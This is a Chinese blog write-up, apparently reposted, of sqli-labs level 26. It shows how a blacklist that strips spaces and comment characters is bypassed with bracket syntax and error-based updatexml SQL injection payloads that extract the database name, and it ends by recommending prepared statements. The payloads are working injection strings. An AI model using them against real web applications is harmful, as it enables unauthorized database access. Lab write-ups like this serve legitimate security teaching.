黑名单写到极致,依然很脆弱:sqli-labs第26关实战解析

admin 2026-01-20 01:46:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析sqli-labs第26关,探讨黑名单过滤空格及注释符时的SQL注入绕过。通过利用括号替代空格及updatexml报错注入,文章成功突破了限制。结论指出黑名单机制脆弱,复杂过滤易致安全错觉。真正的防御应采用预编译等不拼接SQL的方式,而非依赖关键词过滤。文章强调了从语义层面理解SQL注入的重要性。 综合评分: 90 文章分类: WEB安全,渗透测试,漏洞分析,安全建设,实战经验


cover_image

黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析

原创

武文学网安 武文学网安

武文学网安

2026年1月18日 04:40 中国香港

大家好,我是武文。 今天继续挑战 sqli-labs 第 26 关

如果说第 25 关让人意识到:“过滤 or / and 并不等于安全”

那么第 26 关,会把这种认知再往前推一步—— 当开发者把“能想到的所有关键词”都拉进黑名单,真的就安全了吗?

答案是: 👉 不但没有,反而更危险。

一、第 26 关的第一感觉:不像是“能打”的样子

页面依旧是熟悉的结构:


?id=1


这一关名字是:All your Space and Comments belongs to us.非常嚣张,将所有空格和符号都给屏蔽了。

通过查看源码,发现这一次更加丰富了过滤词的范围:

第25关只过滤了or 和and关键字。这一关卡则把一些注释符都给过滤掉了:/*  — # 空格 \ 等。

于是我开始了“肌肉记忆测试”:


?id=1′?id=1′ –+?id=1 or 1=1 –+?id=1 and 1=1 –+?id=1 union select 1,2,3 –+

已关注

关注

重播                                                        分享                                                                     赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

武文学网安已关注

分享视频

,时长00:51

0/0

00:00/00:51

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:51

00:51

倍速

全屏

倍速播放中

0.5倍0.75倍1.0倍1.5倍2.0倍

超清流畅

[![ 您的浏览器不支持 video 标签 ](http://mmbiz.qpic.cn/mmbiz_jpg/VFf46TKXLVFNYOzDGRTYXgTkKf2yUJ9ZNBzDHs4nvuX9IdmrjENGq0GqZVAWmCM0rKMyl2r8m9CgtXE3aRAsZw/0?wx_fmt=jpeg&wxfrom=16)](https://mpvideo.qpic.cn/0b2eu4axqaabaqakmpdkvjuvdj6dpctqc6aa.f10002.mp4?dis_k=fd0ffcfca5cbb538ee2f9f75d1458c7d&dis_t=1768683641&play_scene=10120&auth_info=AfXs/aFEQzxIwOLp/BN5L0geYTVFZ2cyE2hrRD1HViM5SVdLdyZpDmQdQzBde2w6QBs1NU1+VR5GITsZax5MIydD&auth_key=b73f5ebb897e085ab72ffab94977a373&vid=wxv_4346720918887464961&format_id=10002&support_redirect=0&mmversion=false)

继续观看

黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析

观看更多

转载

,

黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析

武文学网安已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

当带单引号时报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1

说明闭合符号很有可能是单引号。

而其他测试则全都屏蔽了or 和and。但我们会发现,过滤了空格符号,但union和select并没有过滤。

但我在测试# 和其他注释的时候,通过观察下方的hint,发现这# 依然可以起到注释作用

?id=1 union select 1,#2,3 --+ ?id=1 union select 1,--2,3 --+ ?id=1 union select 1,/*2,3 --+ ?id=1 union select 1,*/2,3 --+

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

武文学网安已关注

分享视频

,时长00:39

0/0

00:00/00:39

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:39

00:39

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析

观看更多

转载

,

黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析

武文学网安已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

到这里,很容易产生一个错觉:“这关是不是把 SQL 注入彻底封死了?”


二、关键线索:不是 SQL 变强了,而是“过滤更重了”

经过前面25关的挑战学习,我们可以轻易的绕过or和and的过滤,但目前最关键的是空格给屏蔽了,导致我们的参数输入全废了:

?id=1 oorr 1=1 Hint: Your Input is Filtered with following result: 1or1=1
 ?id=1 anandd 1=1  Hint: Your Input is Filtered with following result: 1and1=2

于是我们的注入思路应该放到如何绕过空格的过滤呢,空格在sql中是否有其他的写法,经过查阅资料可以有以下写法

%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

武文学网安已关注

分享视频

,时长01:36

0/0

00:00/01:36

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

01:36

01:36

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析

观看更多

转载

,

黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析

武文学网安已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

让我们来挨个尝试,结果发现均不能绕过。

再次回想一下,前面的挑战过程中有没有可以不用空格符号就能够实现注入的。

于是可以想到用括号+功能函数。这里自然而然想到了updatexml

?id=1'||updatexml(1,concat(0x7e,database(),0x7e),1)#

可以看到用了# 依然无法注释,引起了报错,这里我们可以通过手动构造闭合,是sql语句合法:

?id=1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1

这里可以看到,成功绕过,利用XPATH实现了注入。

我们也可以尝试用&&来注入,但mysql中无法直接使用&&,所以我们听%26%26来替代。

?id=1'%26%26updatexml(1,concat(0x7e,database(),0x7e),1)%26%26'1'='1


接下来可以参照sqli-labs第6关来获取其余想要的数据——>

SQL注入实战——显错注入。Sqli-labs第6关

三、第 26 关真正的突破口:SQL 不是靠“空格”活着的

这一关最核心的突破点只有一句话:SQL 语法中,空格不是必须的。我们可以通过构造其他不需要空格的语法即可实现绕过,如利用括号。

举个最简单的例子:


select*from users


等价于:


select///*from//users


也等价于:


select(from(users))


而第 26 关,恰恰只过滤了“空格本身”


四、这一关为什么“比前面更危险”?

因为第 26 关代表了一种非常真实的安全误区:“我已经过滤得足够多了。”

但实际上:

  • 黑名单一定不完整
  • SQL 语法可以被无限重写
  • 攻击者不需要你“没过滤”,只需要你“漏了一种表达方式”

在真实业务中,这种防御往往会导致:

  • 安全测试人员被迷惑
  • 漏洞长期潜伏
  • 攻击成本反而降低(因为思路更清晰)

五、第 26 关真正教会我的是什么?

这一关没有教我新的 payload。 它真正教会我的,是三件事:

1️⃣ 安全不是“删关键词”,而是“不拼 SQL” 2️⃣ 黑名单越复杂,系统越脆弱 3️⃣ 攻击者思考的是“语义”,不是“字符串”

从第 26 关开始,我越来越清楚地意识到:SQL 注入的本质,从来不是“我能不能写 or / union”。而是“这条 SQL 语句,是否由不可信数据参与构造”


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安 武文学网安《黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析》

评论:0   参与:  0